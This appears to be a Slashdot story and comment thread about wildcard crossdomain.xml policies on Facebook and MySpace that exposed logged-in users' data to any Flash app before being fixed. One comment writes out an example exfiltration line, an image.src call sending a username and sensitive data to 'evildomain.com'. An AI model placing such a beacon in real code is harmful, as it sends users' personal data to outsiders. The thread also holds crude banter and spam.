Facebook and MySpace Backdoors Found, Fixed
jamie writes with news of a Facebook app developer who found a significant security hole while he was trying to get around function limitations for his application. Quoting:
"Luckily — just with browser AJAX requests — a flash application hosted on domain X is unable to open a file on domain Y. If this would be possible, domain X [would be] able to access content on domain Y, and when the user is logged in on domain Y retrieve and post back any personal data. In certain cases this could limit a Flash application's capabilities. ... To resolve such issues, Adobe (Flash's developers) introduced a 'crossdomain.xml' file which could allow certain domains to access another domain, leading to cross-domain access by certain or all domains. While indeed Facebook locked the front door from any non-Facebook domain access via Flash, a simple subdomain change allowed any flash application (domain="*") to access its domain data."
He found a similar problem in MySpace's crossdomain.xml. Both sites were notified, and they have implemented fixes.
I wonder how many people figured this out and didn't report it.
Looks like I picked the wrong week to deactivate my FB account.
Linux, you magnificent bastard, I read the fucking manual!
I feel it as a personal accomplishment I *dont* have social network accounts on Facebook, Myspace and alike. It's bad enough people openly don't care about privacy or salvaging their identity, but ITFA, this clearly lets you 0wn any account in an auto-login status. And the guy is absolutely right... what typical, non-aware user doesn't? Glad to see all those bad script-kiddie hack sites that boast breaking into social network accounts for $100 a pop will lose a bit of their income to buy Mt. Dew and oreos due to this being publicly uncovered...
Couldn't an evil app always send out sensitive information via:
image.src="http://evildomain.com/script?username=victim&sensitiveinfo=gotcha"
this why the fb chat plugin for pidgin/adium is broken?
God damn paypal! Always messing things up
There went my plan for consulting for HR departments by checking Facebook and Myspace profiles. Guess I am stuck snooping Slashdot accounts and news sites for $10 a person.
-=[ Who Is John Galt? ]=-
It amazes me that facebook rose to prominence in the way it did. Out of all the sites I have ever used, Facebook is the worst when it comes to bugs. It simply floors me at how much bad code is pushed out to production servers or how many things break on a daily basis. I'm not talking simple copy bugs, but full on showstopping bugs. At one point, I was filing bug reports to them on a daily basis. If there is any qa department, it is incredibly lax. I'm guessing it's just a couple of interns sniffing for a gig. The only reason I'm using facebook is to grow my zombie blog, and once I reach a point where my traffic isn't dependent on that site, I'm dropping them like a friggin rock. And it will be a glorious day indeed.
Remove Flash's ability for cross-domain cookies. Browser plugins should use the browser's cookie storage, IMO.
What about the backdoor that lets you find someone's picture album and their profile if you have the filename of one of their pictures from the album (say, someone dragged the picture into a folder, and then e-mailed it or posted it on a message board, thinking that since they're not posting a link to the facebook photo they're anonymous)?
Will they ever fix that?
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
The rise of the "cross d'oh! man" http://bit.ly/1x3krU (from http://twitter.com/vambenepe/status/5455193554)
Surely you can't be serious?
I am. And don't call me Shirley.
People, do you not see the basic problem with using this joke in written format? Without a doubt this is a serious flaw in the English language: we are unable to use the "Don't call me Shirley" joke in written form because, while the words "Shirley" and "surely" are homonyms, the spelling is clearly different...
Ai propoz a simpl fix for this problem: Inglish speekurz shood standardaiz on a striktly phonetik sistem ov speling wurdz. Thas, thi standard "Shirley" jok wud bi exekyutid thus:
"Shirly yu kant bi sirius?"
"Ai em. And dont kal mi Shirly."
Ther, problem solvd.
Bow-ties are cool.
Yeah, I'm a lamer, I have a FaceBook account.
Am I the only one who's been getting a shitload of FaceBook spam recently?
I am happy to hear that the patch is out in action otherwise WOULD YOU LIKE TO ENLARGE YOUR P**IS ?
So did I get this correctly...
I have a crossdomain.xml file on my website a.com with a very lax policy (allow *). This means that pretty much any flash file I open from any other site can access a.com and see (or copy) data with my permissions? If I have auto-login enabled (as in the facebook example) it can log in with my cookies and collect the data without the site being open, and if my site does not feature auto login it can still access the data given I have an open session?
Has anyone here notice a bug that allows you to see online friends on your iphone that aren't online on the computer? This bug persists with the same friends even after reboot of the ipod and computer.
I'm not sure I totally understand the technical issues, but is Xanga doing this wrong? http://www.xanga.com/crossdomain.xml
cross-domain-policy> /cross-domain-policy>
allow-http-request-headers-from domain="*" headers="*"/>
allow-access-from domain="*" to-ports="80"/>
Meh. No offense, but I didn't think your "Shirley" joke was funny in the first place. It works just fine in written form because everyone knows it already and it got its humour from the original, not the written version.
No offense taken. Anybody who's gonna take a crack at being funny has to be willing to accept that sometimes it doesn't work out. :) I'm only funny sometimes - I can live with that.
Personally I don't think homonym-based jokes work at all well in text... By their nature they rely on ambiguity that doesn't exist in text. Sometimes it's a real drag, 'cause I like those kinds of jokes.
Bow-ties are cool.
Get to the point, man. What kind of left-handed vampire are they?
Facebook is no comparison to myspace . Myspace is different zone of siti Premium White Pro
I'm guessing those mods are the kind of folks who are very sensitive about the how many "friends" they have on social network sites, and don't like anyone raining on their parade - consequently supporting anyone who lashes out at people who don't need the constant sense of validation that social networks bring.
NNNNNNEEEEEERRRRDDDDS!!!
There's never a wrong week to deactivate your facebook account....
REAL post by REAL people on a REAL wall. Forget facebook! www.myREALwall.com